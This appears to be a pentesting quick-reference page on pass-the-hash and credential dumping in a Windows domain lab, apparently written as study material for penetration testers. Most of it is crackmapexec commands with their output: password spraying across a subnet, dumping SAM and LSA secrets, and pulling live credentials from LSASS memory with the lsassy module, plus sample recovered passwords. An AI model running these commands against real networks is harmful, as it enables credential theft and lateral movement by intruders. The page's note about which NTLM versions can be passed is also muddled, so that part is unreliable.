Pass the Hash

We can use the password or hash to move literally in the network.

Pass the Hash (PtH) | Pentesting Quick Reference OSCP and Beyond

Complete Tutorial

How to get the hash

Metasploit Hashdump

Impacket

Crackmapexec PTH

We can pass a password

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.145.0/24 -u fcastle -d MARVEL.local -p Password1
SMB         192.168.145.138 445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB         192.168.145.140 445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.139 445    THEPUNISHER      [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         192.168.145.138 445    HYDRA-DC         [+] MARVEL.local\fcastle:Password1 
SMB         192.168.145.140 445    SPIDERMAN        [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB         192.168.145.139 445    THEPUNISHER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)

or We can pass a hash (Works only on NTLM v1 . V2 can be relayed not passed)

Capabilities of crackmapexec

We can dump SAM, LSA or smbshares

crackmapexec smb <target_ip> -u Administrator -p <password> --sam --local-auth
crackmapexec smb <target_ip> -u Administrator -p <password> --lsa --local-auth
crackmapexec smb <target_ip> -u Administrator -p <password> --shares --local-auth

Dumping Memory

crackmapexec smb <target_ip> -u <username> -p <password> -M lsassy -o METHOD=nanodump

🔍 --lsa in CrackMapExec

Purpose: Dumps LSA secrets from the registry, such as:

• Stored service account passwords

• Cached domain credentials

• Auto-logon passwords

• Scheduled task creds

Mechanism: This is a registry read, not a memory dump. It does not touch LSASS directly.

Command Example:

bashCopyEditcrackmapexec smb <target_ip> -u <username> -p <password> --lsa

Requires:

• Administrator privileges

• Access to registry remotely

Output Example:

textCopyEdit[+] LSA Secrets:
    - DefaultPassword = P@ssw0rd123
    - Scheduled task: \MyTask -> user: svc_account, password: Welcome1!

---

🧠 -M lsassy Module

Purpose: Dumps live credentials from LSASS memory, including:

• Cleartext passwords

• NTLM hashes

• Kerberos tickets

Mechanism: Runs a memory dump using a method like procdump, comsvcs, or nanodump, then parses it using lsassy.

Command Example:

bashCopyEditcrackmapexec smb <target_ip> -u <username> -p <password> -M lsassy

Requires:

• Administrator privileges

• Ability to execute dump remotely

• AV/EDR may block it

Output Example:

textCopyEdit[+] msv : user1 @ WORKSTATION (domain: WORKGROUP) => password: Summer2024!
[+] wdigest : admin @ DOMAIN.LOCAL => password: SuperSecretPass

CrackMapExec database

Keeps record of all cracked user accounts

cmedb